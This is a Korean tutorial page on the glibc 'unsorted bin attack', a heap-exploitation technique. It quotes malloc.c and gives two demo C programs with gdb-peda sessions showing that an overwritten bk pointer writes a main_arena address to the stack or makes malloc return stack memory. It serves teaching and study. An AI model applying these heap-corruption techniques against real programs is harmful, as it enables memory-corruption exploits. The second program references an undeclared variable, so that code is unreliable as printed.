Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.



List

Unsorted bin attack

  • Unsorted bin attack을 이해하기 위해서는 malloc()이 unsorted bin에 등록된 chunk를 재할당 할때 해당 chunk를 unsorted bin의 list에서 삭제하는 방식에 대해 이해가 필요합니다.

  • 메모리 할당을 malloc()에 요청하면, 할당자는 요청한 메모리의 크기가 fast bin, small bin, large bin에서 사용 가능한 chunk가 있는지 확인합니다.
  • 할당자는 해당 bins에서 사용가능한 chunk를 찾지 못하면, unsorted_chunks (av)->bk가 가지고 있는 값과 unsorted_chunks (av)의 반환값이 다른 값인지 확인합니다.

    • 이 값들이 서로 다르다면 Unsorted bin에는 free chunk가 있다는 것을 나타냅니다.

    • Unsorted bin에 free chunk가 있다면 unsorted_chunks->bk의 값을 victim에 저장합니다.

    • 그리고 victim->bk가 가지고 있는 데이터는 bck에 저장합니다.

/release/2.25/master/malloc/malloc.c - _int_malloc()
  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
  • unsorted_chunks (av)은 bin_at()를 호출여 반환된 값을 반환합니다.
    • bin_at()는 main_arena.bin[0]의 주소에서 16을 뺀 값을 반환합니다.
/release/2.25/master/malloc/malloc.c
/* The otherwise unindexable 1-bin is used to hold unsorted chunks. */
#define unsorted_chunks(M)          (bin_at (M, 1))
/release/2.25/master/malloc/malloc.c
/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))			      \
             - offsetof (struct malloc_chunk, fd))
  • 할당자는 Unsorted list에 배치된 chunk를 재할당 한후, chunk를 unsorted list에서 삭제할 때 bck가 가지고 있는 데이터를 main_arena.bin[0]->bk에 저장합니다.
    • 그리고 할당자는 unsorted_chunks()이 반환한 값을 bck→fd에 저장합니다.
/release/2.25/master/malloc/malloc.c - _int_malloc()
          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);
  • 예를 들어 다음과 같이 unsorted_chunks (av)가 반환한 값이 0x7ffff7dd1b78이고, unsorted_chunks (av)->bk의 값은 0x602000입니다.

    • 두 값은 서로 다르기 때문에 할당자는 "0x602000->bk"에 보관된 주소(0x00007ffff7dd1b78)를 bck에 저장합니다.
  • 그리고 할당자는 unsorted list에 있는 chunk를 재할당합니다.
    • 해당 chunk를 unsorted list에서 제거하기 위해 할당자는 "bck"에 보관된 주소(0x00007ffff7dd1b78)를 unsorted_chunks (av)->bk에 저장합니다.
    • 그리고 unsorted_chunks(av)가 반환한 값(0x7ffff7dd1b78)은 bck→fd에 저장합니다.

  • Unsorted bin attack은 할당자가 Unsorted list에서 chunk를 삭제하기 전에, free chunk의 bk에 값을 덮어써서 원하는 영역에 main_arena의 주소("&main_arena.bin[0] - 16")를 저장하는 기술입니다.

  • 공격자가 stack 주소(0x7fffffffe248)를 Unsorted list에 등록된 chunk의 "bk"에 덮어쓰면, 할당자는 bck에 보관된 주소가 0x7fffffffe248이기 때문에 unsorted_chunks()가 반환한 주소를 bck→fd(0x7fffffffe258)에 저장합니다.

Unsorted bin attack flow

Example

Example1

  • 다음 코드는 state에 0을 저장하고, 크키가 130byte인 메모리 2개 할당받고 처음 할당받은 메모리를 해제합니다.
    • "((char*)&state) - 16"을 연산한 값을 buf1[1]에 저장한 후 크기가 130byte인 메모리 할당을 요청합니다.
    • 그리고 "state"에 값이 있다면 메시지를 출력합니다.
Unsorted_bin.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(){
    unsigned long long state = 0;
 
    fprintf(stderr,"Stack : %p\n", &state);
    unsigned long long *buf1 = malloc(130);
    char *buf2 = malloc(500);
 
    free(buf1);
 
    buf1[1] = (unsigned long long)(((char*)&state) - 16);
    buf1 = malloc(130);
 
    if(state){
        fprintf(stderr,"Hello world!\n");
    }
}
  • 0x4006ec, 0x4006fa에서 할당된 메모리의 주소를 확인합니다.
    • 0x40070a에서 Unsorted bin의 list에 등록된 chunk의 fd,bk의 데이터를 확인합니다.
    • 0x40071a에서 Unsorted bin attack을 위해 free chunk의 bk에 덮어쓰여진 값을 확인합니다.
    • 0x400727에서 main_arena의 주소가 stack에 저장되어 있는지 확인합니다.
Breakpoints
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin
Reading symbols from ./unsorted_bin...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x20
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004006c5 <+31>:	mov    rax,QWORD PTR [rip+0x200994]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006cc <+38>:	lea    rdx,[rbp-0x20]
   0x00000000004006d0 <+42>:	mov    esi,0x4007f4
   0x00000000004006d5 <+47>:	mov    rdi,rax
   0x00000000004006d8 <+50>:	mov    eax,0x0
   0x00000000004006dd <+55>:	call   0x400570 <fprintf@plt>
   0x00000000004006e2 <+60>:	mov    edi,0x82
   0x00000000004006e7 <+65>:	call   0x400580 <malloc@plt>
   0x00000000004006ec <+70>:	mov    QWORD PTR [rbp-0x18],rax
   0x00000000004006f0 <+74>:	mov    edi,0x1f4
   0x00000000004006f5 <+79>:	call   0x400580 <malloc@plt>
   0x00000000004006fa <+84>:	mov    QWORD PTR [rbp-0x10],rax
   0x00000000004006fe <+88>:	mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400702 <+92>:	mov    rdi,rax
   0x0000000000400705 <+95>:	call   0x400540 <free@plt>
   0x000000000040070a <+100>:	mov    rax,QWORD PTR [rbp-0x18]
   0x000000000040070e <+104>:	lea    rdx,[rax+0x8]
   0x0000000000400712 <+108>:	lea    rax,[rbp-0x20]
   0x0000000000400716 <+112>:	sub    rax,0x10
   0x000000000040071a <+116>:	mov    QWORD PTR [rdx],rax
   0x000000000040071d <+119>:	mov    edi,0x82
   0x0000000000400722 <+124>:	call   0x400580 <malloc@plt>
   0x0000000000400727 <+129>:	mov    QWORD PTR [rbp-0x18],rax
   0x000000000040072b <+133>:	mov    rax,QWORD PTR [rbp-0x20]
   0x000000000040072f <+137>:	test   rax,rax
   0x0000000000400732 <+140>:	je     0x400752 <main+172>
   0x0000000000400734 <+142>:	mov    rax,QWORD PTR [rip+0x200925]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x000000000040073b <+149>:	mov    rcx,rax
   0x000000000040073e <+152>:	mov    edx,0xd
   0x0000000000400743 <+157>:	mov    esi,0x1
   0x0000000000400748 <+162>:	mov    edi,0x400800
   0x000000000040074d <+167>:	call   0x400590 <fwrite@plt>
   0x0000000000400752 <+172>:	mov    eax,0x0
   0x0000000000400757 <+177>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000040075b <+181>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400764 <+190>:	je     0x40076b <main+197>
   0x0000000000400766 <+192>:	call   0x400550 <__stack_chk_fail@plt>
   0x000000000040076b <+197>:	leave  
   0x000000000040076c <+198>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006ec
Breakpoint 1 at 0x4006ec
gdb-peda$ b *0x00000000004006fa
Breakpoint 2 at 0x4006fa
gdb-peda$ b *0x000000000040070a
Breakpoint 3 at 0x40070a
gdb-peda$ b *0x000000000040071a
Breakpoint 4 at 0x40071a
gdb-peda$ b *0x0000000000400727
Breakpoint 5 at 0x400727
gdb-peda$
  • 프로그램은 같은 크기의 메모리를 2개 할당받았습니다.
    • 각 메모리의 주소는 0x602010, 0x6020a0 입니다.
Allocated memory
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/unsorted_bin 
Stack : 0x7fffffffe450

Breakpoint 1, 0x00000000004006ec in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004006fa in main ()
gdb-peda$ i r rax
rax            0x6020a0	0x6020a0

gdb-peda$
  • 할당받은 첫번째 메모리(0x602010)의 해제를 free()에 요청하면, 해당 chunk가 unsorted list에 배치됩니다.

    • "(char*)&main_arena.bins[0] - 16"가 해당 chunk의 fd, bk에 저장됩니다.

After freeing memory
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040070a in main ()
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/4gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:	0x0000000000602290	0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:	0x0000000000602000	0x0000000000602000
gdb-peda$ c
Continuing.
  • Unsorted bin attack를 위해 stack 영역의 주소를 ree chunk의 bk에 저장합니다.
Overwrite the value to "bck-fd".
Breakpoint 4, 0x000000000040071a in main ()
gdb-peda$ x/i $rip
=> 0x40071a <main+116>:	mov    QWORD PTR [rdx],rax
gdb-peda$ i r rdx
rdx            0x602018	0x602018
gdb-peda$ i r rdx rax
rdx            0x602018	0x602018
rax            0x7fffffffe440	0x7fffffffe440
gdb-peda$ ni

0x000000000040071d in main ()
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007fffffffe440
gdb-peda$ x/4gx 0x00007fffffffe440
0x7fffffffe440:	0x00007fffffffe550	0x000000000040070a
0x7fffffffe450:	0x0000000000000000	0x0000000000602010
gdb-peda$ 
  • Unsorted list에 배치된 chunk를 할당받기 위해 malloc()에 메모리 할당을 요청합니다.

    • 메모리 할당 후에 "&main_arena[0] - 16"이 변수"state"(0x7fffffffe450)에 저장되었습니다.

    • 변수 "state"가 가지고 있는 값이 0이 아니기 때문에 화면에 메시지를 출력합니다.
Store data in the stack
Breakpoint 5, 0x0000000000400727 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007fffffffe440
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x7fffffffe440
gdb-peda$ x/4gx 0x00007fffffffe440
0x7fffffffe440:	0x00007fffffffe470	0x0000000000400727
0x7fffffffe450:	0x00007ffff7dd1b78	0x0000000000602010

gdb-peda$ c
Continuing.
Hello world!
[Inferior 1 (process 124614) exited normally]
Warning: not running
gdb-peda$ 

Example2

  • 이 코드는 "Unsorted_bin.c"와 기본적인 동작은 동일합니다.

    • 다른 부분은 Fake chunk의 주소를 bck→fd에 저장한다는 것입니다.

    • fake chunk의 크기를 stack_var[0]에 저장되고, 변수 stack_var의 주소(fd)를 stack_var[2]에 저장합니다.

    • stack_var의 주소에서 8뺀 주소를 buf1[1]에 저장합니다.

      • buf1[1]는 bck→fd입니다.
    • 프로그램은 malloc()에게 Unsorted bin의 list에 있는 청크와 동일한 크기의 메모리 할당을 요청합니다.
    • 그리고 malloc()에게 다시 메모리 할당을 요청합니다.
Unsorted_bin_into_stack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(){
    unsigned long long stack_var[3] = {0};

    fprintf(stderr,"Stack : %p\n", &state);
    unsigned long long *buf1 = malloc(130);
    char *buf2 = malloc(500);
 
    free(buf1);

    stack_var[0] = 0x90;
    stack_var[2] = (unsigned long long)stack_var;

    buf1[1] = (unsigned long long)(((char*)&stack_var) - 8);
    buf1 = malloc(130);
    char *buf3 = malloc(130);
 
    read(STDIN_FILENO,buf3,130);
}
  • 0x40071a에서 Unsorted list에 등록된 chunk와 Stack에 생성된 Fake chunk를 확인합니다.

    • 0x40073a에서 free chunk의 bk를 덮어쓰는 값을 확인합니다.

    • 0x400747, 0x400755에서 Unsorted bin의 변화와 반환된 pointer를 확인합니다.

    • 0x40076a에서 malloc()으로 부터 할당된 메모리가 사용이 가능한지 확인합니다.

Breakpoints
lazenca0x0@ubuntu:~/Book$ gdb -q ./unsorted_bin_into_stack
Reading symbols from ./unsorted_bin_into_stack...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x40
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004006c5 <+31>:	mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004006cd <+39>:	mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004006d5 <+47>:	mov    rax,QWORD PTR [rip+0x200984]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006dc <+54>:	lea    rdx,[rbp-0x20]
   0x00000000004006e0 <+58>:	mov    esi,0x400814
   0x00000000004006e5 <+63>:	mov    rdi,rax
   0x00000000004006e8 <+66>:	mov    eax,0x0
   0x00000000004006ed <+71>:	call   0x400580 <fprintf@plt>
   0x00000000004006f2 <+76>:	mov    edi,0x82
   0x00000000004006f7 <+81>:	call   0x400590 <malloc@plt>
   0x00000000004006fc <+86>:	mov    QWORD PTR [rbp-0x38],rax
   0x0000000000400700 <+90>:	mov    edi,0x1f4
   0x0000000000400705 <+95>:	call   0x400590 <malloc@plt>
   0x000000000040070a <+100>:	mov    QWORD PTR [rbp-0x30],rax
   0x000000000040070e <+104>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400712 <+108>:	mov    rdi,rax
   0x0000000000400715 <+111>:	call   0x400540 <free@plt>
   0x000000000040071a <+116>:	mov    QWORD PTR [rbp-0x20],0x90
   0x0000000000400722 <+124>:	lea    rax,[rbp-0x20]
   0x0000000000400726 <+128>:	mov    QWORD PTR [rbp-0x10],rax
   0x000000000040072a <+132>:	mov    rax,QWORD PTR [rbp-0x38]
   0x000000000040072e <+136>:	lea    rdx,[rax+0x8]
   0x0000000000400732 <+140>:	lea    rax,[rbp-0x20]
   0x0000000000400736 <+144>:	sub    rax,0x8
   0x000000000040073a <+148>:	mov    QWORD PTR [rdx],rax
   0x000000000040073d <+151>:	mov    edi,0x82
   0x0000000000400742 <+156>:	call   0x400590 <malloc@plt>
   0x0000000000400747 <+161>:	mov    QWORD PTR [rbp-0x38],rax
   0x000000000040074b <+165>:	mov    edi,0x82
   0x0000000000400750 <+170>:	call   0x400590 <malloc@plt>
   0x0000000000400755 <+175>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400759 <+179>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040075d <+183>:	mov    edx,0x82
   0x0000000000400762 <+188>:	mov    rsi,rax
   0x0000000000400765 <+191>:	mov    edi,0x0
   0x000000000040076a <+196>:	call   0x400560 <read@plt>
   0x000000000040076f <+201>:	mov    eax,0x0
   0x0000000000400774 <+206>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400778 <+210>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400781 <+219>:	je     0x400788 <main+226>
   0x0000000000400783 <+221>:	call   0x400550 <__stack_chk_fail@plt>
   0x0000000000400788 <+226>:	leave  
   0x0000000000400789 <+227>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040071a
Breakpoint 1 at 0x40071a
gdb-peda$ b *0x000000000040073a
Breakpoint 2 at 0x40073a
gdb-peda$ b *0x0000000000400747
Breakpoint 3 at 0x400747
gdb-peda$ b *0x0000000000400755
Breakpoint 4 at 0x400755
gdb-peda$ b *0x000000000040076a
Breakpoint 5 at 0x40076a
gdb-peda$
  • 프로그램은 malloc()에 2개의 메모리 할당을 요청하고 첫번째 메모리를 해제합니다.
    • 해제된 메모리(0x602000)는 Unsorted list에 배치됩니다.
Place chunks in the Unsorted list
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/unsorted_bin_into_stack 
Stack : 0x7fffffffe430

Breakpoint 1, 0x000000000040071a in main ()
gdb-peda$ p main_arena.bins[0]
$1 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/4gx 0x00007ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:	0x0000000000602290	0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>:	0x0000000000602000	0x0000000000602000
gdb-peda$ 
  • Unsorted bin attack를 통해 메모리(Stack)를 할당받기 위해서는 Stack에 Free chunk와 같은 형태의 Fake chunk가 필요합니다.
    • 프로그램은 Fake chunk를 만들기 위해 stack_var[0](0x7fffffffe430)에 0x90을 저장하고, stack_var[2](0x7fffffffe440)에 stack_var의 주소를 저장합니다.
    • 0x7fffffffe430는 Fake chunk의 size가 되고, 0x7fffffffe440는 Fake chunk의 bk가 됩니다.
Create fake chunk
gdb-peda$ x/3i $rip
=> 0x40071a <main+116>:	mov    QWORD PTR [rbp-0x20],0x90
   0x400722 <main+124>:	lea    rax,[rbp-0x20]
   0x400726 <main+128>:	mov    QWORD PTR [rbp-0x10],rax
gdb-peda$ i r rbpx
rbp            0x7fffffffe450	0x7fffffffe450
gdb-peda$ p/x 0x7fffffffe450 - 0x20
$3 = 0x7fffffffe430
gdb-peda$ ni

0x0000000000400722 in main ()
gdb-peda$ 

0x0000000000400726 in main ()
gdb-peda$ x/i $rip
=> 0x400726 <main+128>:	mov    QWORD PTR [rbp-0x10],rax
gdb-peda$ i r rbp
rbp            0x7fffffffe450	0x7fffffffe450
gdb-peda$ p/x 0x7fffffffe450 - 0x10
$8 = 0x7fffffffe440
gdb-peda$ i r rax
rax            0x7fffffffe430	0x7fffffffe430
gdb-peda$ ni

0x000000000040072a in main ()
gdb-peda$ x/4gx 0x7fffffffe430
0x7fffffffe430:	0x0000000000000090	0x0000000000000000
0x7fffffffe440:	0x00007fffffffe430	0x1fe450c974875300
gdb-peda$ 
  • main_arena.bins[0]->bk(0x602018)에 fake chunk의 주소(0x7fffffffe428)를 저장합니다.
    • 이로 인해 main_arena.bins[0]->bk에 저장된 데이터는 fake chunk의 주소(0x7fffffffe428)가 됩니다.
Store the address of the fake chunk in the main_rena.bins[ 0 ]->bk.
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040073a in main ()
gdb-peda$ x/i $rip
=> 0x40073a <main+148>:	mov    QWORD PTR [rdx],rax
gdb-peda$ i r rdx rax
rdx            0x602018	0x602018
rax            0x7fffffffe428	0x7fffffffe428
gdb-peda$ x/4gx 0x7fffffffe428
0x7fffffffe428:	0x0000000000000000	0x0000000000000090
0x7fffffffe438:	0x0000000000000000	0x00007fffffffe430
gdb-peda$ p &main_arena.bins[0]->bk
$11 = (struct malloc_chunk **) 0x602018
gdb-peda$ ni

0x000000000040073d in main ()
gdb-peda$ p main_arena.bins[0]->bk
$4 = (struct malloc_chunk *) 0x7fffffffe428
gdb-peda$ ni

0x000000000040073d in main ()
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd1b78	0x00007fffffffe428
gdb-peda$ 
  • 크기가 130byte인 메모리 할당을 malloc()에 요청하면 할당자는 Unsorted list에 배치된 chunk를 재할당 합니다.
    • 할당자는 메모리를 재할당한 후에 Unsorted list에서 해당 chunk를 제거하고, Unsorted bin의 list를 갱신합니다.
    • 이로 인해 Fake chunk의 주소가 main_arena.bins[1]에 저장됩니다.
  • 그리고 다시 한번 같은 크기의 메모리 할당을 요청하면 stack 메모리(0x7fffffffe438)를 반환합니다.
    • 해당 주소는 Fake chunk→fd의 주소입니다.
Memory is allocated in the stack space.
gdb-peda$ p main_arena.bins[1]
$14 = (mchunkptr) 0x602000
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000000000400747 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.bins[0]
$6 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1]
$7 = (mchunkptr) 0x7fffffffe428
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400755 in main ()
gdb-peda$ i r rax
rax            0x7fffffffe438	0x7fffffffe438
gdb-peda$ x/4gx 0x7fffffffe438
0x7fffffffe438:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x7fffffffe448:	0x33834f49afabc500	0x0000000000400790
gdb-peda$ p main_arena.bins[1]
$20 = (mchunkptr) 0x7fffffffe430
gdb-peda$ 
  • 할당받은 stack 메모리에 값을 저장할 수 있습니다.
You can use the allocated stack memory.
gdb-peda$ c
Continuing.

Breakpoint 5, 0x000000000040076a in main ()
gdb-peda$ i r rsi
rsi            0x7fffffffe438	0x7fffffffe438
gdb-peda$ ni
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

0x000000000040076f in main ()
gdb-peda$ x/4gx 0x7fffffffe438
0x7fffffffe438:	0x4141414141414141	0x4242424242424242
0x7fffffffe448:	0x4343434343434343	0x4444444444444444
gdb-peda$ 

Related information